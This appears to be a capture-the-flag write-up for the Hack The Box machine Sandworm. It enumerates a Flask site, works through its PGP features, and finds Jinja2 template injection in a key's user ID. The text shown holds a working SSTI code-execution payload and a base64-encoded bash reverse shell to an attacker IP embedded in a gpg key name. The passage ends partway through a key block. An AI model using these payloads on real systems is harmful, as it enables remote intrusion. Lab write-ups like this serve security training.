Sandworm
25 minutes to read
atlas
. However, this environment is limited due to firejail
, but we are able to find a plaintext password to login as silentobserver
in SSH. As this user, we are able to modify a Rust project that is used in another Rust project that runs periodically as atlas
. With this power, we can get access as atlas
again, but outside firejail
. Finally, since firejail
is a SUID binary, we can use a public exploit to become root
- OS: Linux
- Difficulty: Medium
- IP Address: 10.10.11.218
- Release: 17 / 06 / 2023
Port scanning
# Nmap 7.94 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.218 -p 22,80,443
Nmap scan report for 10.10.11.218
Host is up (0.083s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://ssa.htb/
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=SSA/organizationName=Secret Spy Agency/stateOrProvinceName=Classified/countryName=SA
| Not valid before: 2023-05-04T18:03:25
|_Not valid after: 2050-09-19T18:03:25
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Secret Spy Agency | Secret Security Service
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 26.11 seconds
This machine has ports 22 (SSH), 80 (HTTP) and 443 (HTTPS) open.
Enumeration
First of all, we can see a domain ssa.htb
in the above nmap
output, so let’s put it in /etc/hosts
. Now we have this landing page (port 80 redirects to https://ssa.htb
):
At the footer, we see that the website is built with Flask (Python):
Let’s fuzz for more routes:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u https://ssa.htb/FUZZ
[Status: 200, Size: 5584, Words: 1147, Lines: 77, Duration: 64ms]
* FUZZ: about
[Status: 200, Size: 3543, Words: 772, Lines: 69, Duration: 68ms]
* FUZZ: contact
[Status: 200, Size: 4392, Words: 1374, Lines: 83, Duration: 77ms]
* FUZZ: login
[Status: 302, Size: 225, Words: 18, Lines: 6, Duration: 61ms]
* FUZZ: view
[Status: 302, Size: 227, Words: 18, Lines: 6, Duration: 67ms]
* FUZZ: admin
[Status: 200, Size: 9043, Words: 1771, Lines: 155, Duration: 58ms]
* FUZZ: guide
[Status: 200, Size: 3187, Words: 9, Lines: 54, Duration: 55ms]
* FUZZ: pgp
[Status: 302, Size: 229, Words: 18, Lines: 6, Duration: 56ms]
* FUZZ: logout
[Status: 405, Size: 153, Words: 16, Lines: 6, Duration: 58ms]
* FUZZ: process
[Status: 200, Size: 8161, Words: 2604, Lines: 124, Duration: 146ms]
* FUZZ:
The website allows us to enter encrypted messages with PGP:
We even have a guide on how to use PGP:
More relevant, there is a login form, but we don’t have credentials yet:
In /pgp
we have their public key:
If we download it and import it with gpg
, we will find a username called atlas
:
$ curl https://ssa.htb/pgp -ks | grep -v 'pre>' > pgp_pubkey
$ file pgp_pubkey
pgp_pubkey: PGP public key block Public-Key (old)
$ gpg --import pgp_pubkey
gpg: clave C61D429110B625D4: clave pública "SSA (Official PGP Key of the Secret Spy Agency.) <atlas@ssa.htb>" importada
gpg: Cantidad total procesada: 1
gpg: importadas: 1
$ gpg --fingerprint
/home/kali/.gnupg/pubring.kbx
-----------------------------
pub rsa4096 2023-05-04 [SC]
D6BA 9423 021A 0839 CCC6 F3C8 C61D 4291 10B6 25D4
uid [desconocida] SSA (Official PGP Key of the Secret Spy Agency.) <atlas@ssa.htb>
sub rsa4096 2023-05-04 [E]
Foothold
Since the website is made with Flask, it is likely that the attack vector is Server-Side Template Injection (SSTI) in Jinja2.
Playing with PGP
Let’s play a bit with PGP. For instance, we can encrypt a message with their public key:
$ echo asdf > test
$ gpg --armor --encrypt --recipient atlas@ssa.htb test
gpg: 6BB733D928D14CE6: No hay seguridad de que esta clave pertenezca realmente
al usuario que se nombra
sub rsa4096/6BB733D928D14CE6 2023-05-04 SSA (Official PGP Key of the Secret Spy Agency.) <atlas@ssa.htb>
Huella clave primaria: D6BA 9423 021A 0839 CCC6 F3C8 C61D 4291 10B6 25D4
Huella de subclave: 4BAD E0AE B5F5 5080 6083 D5AC 6BB7 33D9 28D1 4CE6
No es seguro que la clave pertenezca a la persona que se nombra en el
identificador de usuario. Si *realmente* sabe lo que está haciendo,
puede contestar sí a la siguiente pregunta.
¿Usar esta clave de todas formas? (s/N) s
$ cat test.asc
-----BEGIN PGP MESSAGE-----
hQIMA2u3M9ko0UzmAQ/+JFa+4Nbyk43kS55AKftEbAfPeHM1otMHK0KpA9QHF3m6
XqaNFhaqfeHEZKRoGkzClsqb6fdxOGKxuoPQ4eaRvQlIrhi5QoxVW6vDSXFr021G
MyY88V7neeVsE6ruy1JVl6Byhg0zgQaejHqCeeUD4GRVRL2r1x0nhKpDNpKpPevr
gtLbco549h2LUh19qgi1iSJmXl+rutHhbhoplSzMCYYYl3+VFHnRbVJ5oYjoqqrF
5IXHaxNYNFe10IkNOdX5H6drvw1InVBLd95xANU5zmkzlDOpsqJkhTYAgbVrMHX7
u0g0yVs7lvAhxw3UoGCIa0q8tzokkNE1OV2wxkVHeg/g3FQJIS9Fkl6HL514t8hp
8UIEl6cFitNuNbPqSmYGsVM326rv2IeI9zXb1/zxZHRDOq9KUXg8b0s4ZkNtChCr
RWqJe5vwSwnZBT2YSIV8Z7T6omLB8Xxf8V6Jx5jYFhgsSWrG2K2Q0injE8k9rPzD
QJLrZO6QOaWe+DAXdtlwiXiKDaU2QecsceitjWofYpGNW+O7gt2/ZoXaoXETdUbV
52T7yPhcbpL4xiFr3nvH7kjkUt+KJgP6vxLDgbm3eHcP3YkWrK0RqiBPzkeR++I+
paNCWOh5ij5l1RjvwC80WgPxe1Un4/f9dLUPgXoG0FhUTwMrjyPykvB+LbGtbOrS
RAFG0smI9TfJF3RZSMnQDqpaOrS4SsZHLIWbdL5+ur5XfClkWKoXxKELtLso2f9T
mZhn+R6e4nELkGmYZr0hGZ5Wbs1R
=GYgS
-----END PGP MESSAGE-----
Now we can enter this in their website and decrypt it:
Further, we can go to /contact
and enter the same:
The difference is that here we don’t see the decrypted message but a static message telling that decryption was successful:
Let’s generate a new PGP key to use it to decrypt a message from them:
$ gpg --gen-key
gpg (GnuPG) 2.2.27; Copyright (C) 2021 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
gpg: creado el directorio '/home/kali/.gnupg'
gpg: caja de claves '/home/kali/.gnupg/pubring.kbx' creada
Nota: Usa "gpg --full-generate-key" para el diálogo completo de generación de clave.
GnuPG debe construir un ID de usuario para identificar su clave.
Nombre y apellidos: asdfasdf
Dirección de correo electrónico: asdf@ssa.htb
Ha seleccionado este ID de usuario:
"asdfasdf <asdf@ssa.htb>"
¿Cambia (N)ombre, (D)irección o (V)ale/(S)alir? V
Es necesario generar muchos bytes aleatorios. Es una buena idea realizar
alguna otra tarea (trabajar en otra ventana/consola, mover el ratón, usar
la red y los discos) durante la generación de números primos. Esto da al
generador de números aleatorios mayor oportunidad de recoger suficiente
entropía.
Es necesario generar muchos bytes aleatorios. Es una buena idea realizar
alguna otra tarea (trabajar en otra ventana/consola, mover el ratón, usar
la red y los discos) durante la generación de números primos. Esto da al
generador de números aleatorios mayor oportunidad de recoger suficiente
entropía.
gpg: /home/kali/.gnupg/trustdb.gpg: se ha creado base de datos de confianza
gpg: clave A19695745DB6EA25 marcada como de confianza absoluta
gpg: creado el directorio '/home/kali/.gnupg/openpgp-revocs.d'
gpg: certificado de revocación guardado como '/home/kali/.gnupg/openpgp-revocs.d/7BABCB681902EF271ECD11DAA19695745DB6EA25.rev'
claves pública y secreta creadas y firmadas.
pub rsa3072 2023-06-18 [SC] [caduca: 2025-06-17]
7BABCB681902EF271ECD11DAA19695745DB6EA25
uid asdfasdf <asdf@ssa.htb>
sub rsa3072 2023-06-18 [E] [caduca: 2025-06-17]
$ gpg --armor --export asdf@ssa.htb
-----BEGIN PGP PUBLIC KEY BLOCK-----
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
O8+C7aPiylWURffzMUQ+
=gOOZ
-----END PGP PUBLIC KEY BLOCK-----
Now we enter this public key in the website and we will receive an encrypted message:
And we can decrypt it as follows:
$ cat > msg.enc
-----BEGIN PGP MESSAGE-----
hQGMA1/UNxCcIafUAQv/TEJ4cvgGyvvxK9sSZpEbYj1JfgxESkpc60sWI55XIgZd
AcVEGS3WnKk8zYrESzr872Q49D1j9rniWOlun9F5NvQB67XpPEcVsbUPG7ncN32q
aEVhtNPRmS5mbcbbbHNzryjOwYETp+4j7DyFhIzI0I82bJdgtwc9mzbQogkMc64O
i3Q0vj0/H7dZNvD+O9lZfS8avaIxBDvxxZapXUJMF+4OOKMCcDhEdoNeOmq34+Fh
rYR8CsB4ZIAdxrluGBOW9Uyw6BLFj6MkKpl49NPxS6kGLWWp7o1UxIwCrtte2pO1
Yfwa0epuHkkeTy9/9OVs+TBabMscAYYNW9kIO1lzJEx7UeU+RbuUn76OGiQ63B+e
cjd7yw63IsKNAe1tKn3HaEsgjpnJdvzM2Bm8L6I/ezXZZfpiKGVuXLVsDkItt6qx
e6yWu1qfYTYcKxD8bszL9Drf67YcjcT+DUdcLHDE05eNSzu/tSNx+kc474af/U38
270E6B8RzKHQSbFfdxP80sB0AaIG3TlxvKYMYVCDil8Dg1kPYgGo0jG9rq+ZF71V
drmTAbIDvm2faKR184jYX9K5596hG1bs73tFR1nwOw/iTaNGfuDrzSPuhLSWmwhZ
eudVuS7NajnMK4ow9cRsl5SX5totSF0sj+AoBNk9ZoH3EHZiVDScIgN9meAI8vMe
rvQz/OWjVt0jwS1ZAFhaB7dFCKRDYlR024KJ4iDMtJiBFI/C0zYhQPeJcGOsN1Mx
56faV3Qz/xfzDyJgXboKypTK7auTSxJ6VyYVA0pJ50RojUn4rbxdriHC/2wOwpuS
GDzXaUUIzEXJpztBx/+rB1KnppPeoAbLhPDzyuynMCQTUVOcjiBICYbk+iOl2k9g
5UrduTAtsffhc5I7/V5NI/IAX+k0S0oWG5ya+vY8bPdAqtOtq7Y=
=O+o7
-----END PGP MESSAGE-----
^C
$ gpg --decrypt msg.enc
gpg: cifrado con clave de 3072 bits RSA, ID 5FD437109C21A7D4, creada el 2023-06-18
"asdfasdf <asdf@ssa.htb>"
This is an encrypted message for asdfasdf <asdf@ssa.htb>.
If you can read this, it means you successfully used your private PGP key to decrypt a message meant for you and only you.
Congratulations! Feel free to keep practicing, and make sure you also know how to encrypt, sign, and verify messages to make your repertoire complete.
SSA: 06/18/2023-16;05;31
The last task is to sign a message. We can do that like this:
$ rm test*
$ echo asdf > test
$ gpg --clear-sign test
$ cat test.asc
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
asdf
-----BEGIN PGP SIGNATURE-----
iQGzBAEBCgAdFiEEe6vLaBkC7ycezRHaoZaVdF226iUFAmSPLDAACgkQoZaVdF22
6iXFYgv9E0M7H3JWd00+xoCgqMpxSnnYbGDNq63lRQAKrlkjP4axZUEkAssg+taI
3zxnorGnVe9R9a9F6GG6FwK+Y7Bwy4m7G8XtYwujRegVqFc0cb1juUOzRL0ckezq
+SX20gtBDAa/CEufEN15LqpVLnwet/5+95fxXPlj05FaK9UO99tNZvQbt5bPGbYm
IvNrJCmCvwTZpFi2lPk6TNV7pRlRSGamyTBaBpsnXPkDmHUy8G0K+QU9+nhuBxze
QgI7wgEAUY6mZ5eFGzgTNPTe8hSJbQ3V4g+uPgsphvNGxdXKWgViBFI2tdNLaIHu
QjZLtoEppnOUNZndl+6R9rBaPXgOm0FDuCiv7selGizBriuaQTrtyk4ZH/s26Dbm
0r3I6hECcxZdIp7ZvKXYbQraIIYGH2GZ4DU7tMx6lLQYLLMUVtDjLypkql7Fl4hb
T1VoaJs8n8WeuE4ubf4w6g99glWFduV35i6Y/z3/BbU5qoEXFAVoP1ocwrQEbWEf
dvJO8qJh
=tOU+
-----END PGP SIGNATURE-----
And the website will show that the signature is valid:
Finding SSTI
Since we are dealing with Server-Side Template Injection in Jinja2, we will enter payloads like {{7*7}}
to test if the injection works. We must try in these places:
- Message decryption
- Contact form
- Signed messages
- Username / Email address
In the end, we will find that the injection works in the username / email in the signatures feature:
$ rm -rf ~/.gnupg
$ gpg --gen-key
gpg (GnuPG) 2.2.27; Copyright (C) 2021 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
gpg: creado el directorio '/home/kali/.gnupg'
gpg: caja de claves '/home/kali/.gnupg/pubring.kbx' creada
Nota: Usa "gpg --full-generate-key" para el diálogo completo de generación de clave.
GnuPG debe construir un ID de usuario para identificar su clave.
Nombre y apellidos: {{7*7}}
Dirección de correo electrónico: {{8*8}}@ssa.htb
Ha seleccionado este ID de usuario:
"{{7*7}} <{{8*8}}@ssa.htb>"
¿Cambia (N)ombre, (D)irección o (V)ale/(S)alir? V
Es necesario generar muchos bytes aleatorios. Es una buena idea realizar
alguna otra tarea (trabajar en otra ventana/consola, mover el ratón, usar
la red y los discos) durante la generación de números primos. Esto da al
generador de números aleatorios mayor oportunidad de recoger suficiente
entropía.
Es necesario generar muchos bytes aleatorios. Es una buena idea realizar
alguna otra tarea (trabajar en otra ventana/consola, mover el ratón, usar
la red y los discos) durante la generación de números primos. Esto da al
generador de números aleatorios mayor oportunidad de recoger suficiente
entropía.
gpg: /home/kali/.gnupg/trustdb.gpg: se ha creado base de datos de confianza
gpg: clave 472AD28C6E535785 marcada como de confianza absoluta
gpg: creado el directorio '/home/kali/.gnupg/openpgp-revocs.d'
gpg: certificado de revocación guardado como '/home/kali/.gnupg/openpgp-revocs.d/BB56CBA8229D288D320F08C9472AD28C6E535785.rev'
claves pública y secreta creadas y firmadas.
pub rsa3072 2023-06-18 [SC] [caduca: 2025-06-17]
BB56CBA8229D288D320F08C9472AD28C6E535785
uid {{7*7}} <{{8*8}}@ssa.htb>
sub rsa3072 2023-06-18 [E] [caduca: 2025-06-17]
$ rm test*
$ echo '{{9*9}}' > test
$ gpg --clear-sign test
$ cat test.asc
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
{{9*9}}
-----BEGIN PGP SIGNATURE-----
iQGzBAEBCgAdFiEEu1bLqCKdKI0yDwjJRyrSjG5TV4UFAmSPLZsACgkQRyrSjG5T
V4VSrgwAj59V1FjgbaiJ/ha6+Ily6dP+ycq0kJ1oWngpktNXdv+uuksJ8spyvZIh
BSQYBg9AjSG+AkFq6YOpvPZPA1kDjHC0ClIHY7PpGyC1CJDmv1wgOT7ULJaVdYsz
OQgT/jglQv99x4C/I2pSoFSJIq2Z+63thtWVHbCUgH0O/y9ikn3Oi6SQvRAYrjxV
dEvhBsfo6fCZ9r+Df5zm3WmnHyj80URlDvZp0TKehgVcAvaEhQPfurTnzRtm7C5H
4qp6fe0eXlXkXuFbcHJ9zDgmziGkhJg65BTCk2kFAyOzzOBpKHC7SwkyC+hdUqhY
cr/VEjEqPA39egiesr245n5B4H6bngnwAqrZfu8qNo3B14dBuO0qfc/J6m8gCIre
V8WH+ZOCD8uiFlKQWzCEN6o/BB27r+GLAn7/V4wOrda4+ZZhQXZP2F4CL39LDSSR
J9dC86GwbZ1bCvBpC5hxNivHI70JdjwhB9FKJkmEV78bEuXzqMJi27q1DpGYKkMT
LdwVd4ZQ
=mqQj
-----END PGP SIGNATURE-----
$ gpg --armor --export '{{8*8}}@ssa.htb'
-----BEGIN PGP PUBLIC KEY BLOCK-----
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
cKxtKXaMB0HLx76yMPiLAm4=
=XNDM
-----END PGP PUBLIC KEY BLOCK-----
As before, we enter the public key and the signed message:
And we get this result:
So, the SSTI attack was successful. Let’s derive it to Remote Code Execution with the following payload from PayloadsAllTheThings:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
We will use a reverse shell to get access to the machine:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ rm -rf ~/.gnupg
$ gpg --gen-key
gpg (GnuPG) 2.2.27; Copyright (C) 2021 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
gpg: creado el directorio '/home/kali/.gnupg'
gpg: caja de claves '/home/kali/.gnupg/pubring.kbx' creada
Nota: Usa "gpg --full-generate-key" para el diálogo completo de generación de clave.
GnuPG debe construir un ID de usuario para identificar su clave.
Nombre y apellidos: {{ cycler.__init__.__globals__.os.popen('echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash').read() }}
Dirección de correo electrónico: asdf@ssa.htb
Ha seleccionado este ID de usuario:
"{{ cycler.__init__.__globals__.os.popen('echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash').read() }} <asdf@ssa.htb>"
¿Cambia (N)ombre, (D)irección o (V)ale/(S)alir? V
Es necesario generar muchos bytes aleatorios. Es una buena idea realizar
alguna otra tarea (trabajar en otra ventana/consola, mover el ratón, usar
la red y los discos) durante la generación de números primos. Esto da al
generador de números aleatorios mayor oportunidad de recoger suficiente
entropía.
Es necesario generar muchos bytes aleatorios. Es una buena idea realizar
alguna otra tarea (trabajar en otra ventana/consola, mover el ratón, usar
la red y los discos) durante la generación de números primos. Esto da al
generador de números aleatorios mayor oportunidad de recoger suficiente
entropía.
gpg: /home/kali/.gnupg/trustdb.gpg: se ha creado base de datos de confianza
gpg: clave 304FE7360D1EE707 marcada como de confianza absoluta
gpg: creado el directorio '/home/kali/.gnupg/openpgp-revocs.d'
gpg: certificado de revocación guardado como '/home/kali/.gnupg/openpgp-revocs.d/51114BE248A0562325F017D2304FE7360D1EE707.rev'
claves pública y secreta creadas y firmadas.
pub rsa3072 2023-06-18 [SC] [caduca: 2025-06-17]
51114BE248A0562325F017D2304FE7360D1EE707
uid {{ cycler.__init__.__globals__.os.popen('echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash').read() }} <asdf@ssa.htb>
sub rsa3072 2023-06-18 [E] [caduca: 2025-06-17]
$ rm test*
$ echo asdf > test
$ gpg --clear-sign test
$ cat test.asc
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
asdf
-----BEGIN PGP SIGNATURE-----
iQGzBAEBCgAdFiEEURFL4kigViMl8BfSME/nNg0e5wcFAmSPOhcACgkQME/nNg0e
5wcdwwv9Fnnh2bGk6zjJ/wMliQ/QAJj+7x/GWxA1h3JQ8PXyhwrkevbmCHFXOjZi
9oee1NLQXssoH4pBvpHsN2UHmUhJ9lcaC6sMRENWCPJIIy9CKCz0I/+An3DrHsN+
Esga08Z9VrMibUjyrLxMRuuWdRGwcwk+GuZa0qvruSZjjXhXKrpARofa/taLoybS
iSjuahPbhKpbk8GRn9xrSzKIfPTq0E4iERYlGTeSUWBHXNgcjGthiZIWO6i1UqST
4TyEMjEyl4Dq76jD8pNvSKMqe/O5DDvviFOcRnbVjmFGRjMa4/3xo/OGFh6S2PGU
TGI6/1F9UllbOPEjkKam6XjlLd/uWaLc+oLWq/PNFOYTB3HIPMH3RW1GL0x/C71p
COKNvftPQHvTYffEF8O9n1hLJR0TkVUDxbItVaq4gmrXdz9ui99dLWzQNtOjdt4i
Q5GJpMNN23MytUp6GP74sWGLeIWCCDN/r4rg/CWfOAUnonW6gwWfVvedfgjYF7BS
TVb3svxP
=J5ma
-----END PGP SIGNATURE-----
$ gpg --armor --export asdf@ssa.htb
-----BEGIN PGP PUBLIC KEY BLOCK-----
mQGNBGSPOgABDADQZ4EstFoyus6avnPlKPhtRoDmwD/BwBdVjE3lUsqTP/mfMYM+
LPNGlIt4MOzs6bN89uDE50LMh/R0FSEtfDaHLA/mmp5qcCe/E2eCRUM9f46COy+H
3D3kmv2f2DTDP5SMGGdhQRGE5EgZ3Bhm8xmFEFCk7M5oJduJYNvSaJ/0dsQpJemF
Y+nJCCR5zGtqA7QEt/kxNtR/ASKlnTvumd72WXwR/35K8mIww9Yu69X+mIFW5nEl
lycBdSGHFbpJbnP7dr4pg6q2p5/LYEtkbNUMYCB8kptJg0hg7+yeStzZH8zqAvdB
Y2RAXx+jQqRB3ZQueCLjF425XXzrG9A2xJURuowGCErP4vYAvM2NGBfeLgHCM4gK
8rxLkdKfllDApnduW57zyQouFV/00Q5d9BOZg60efmEYoEe3Duk+LK0Pk6NMvsyk
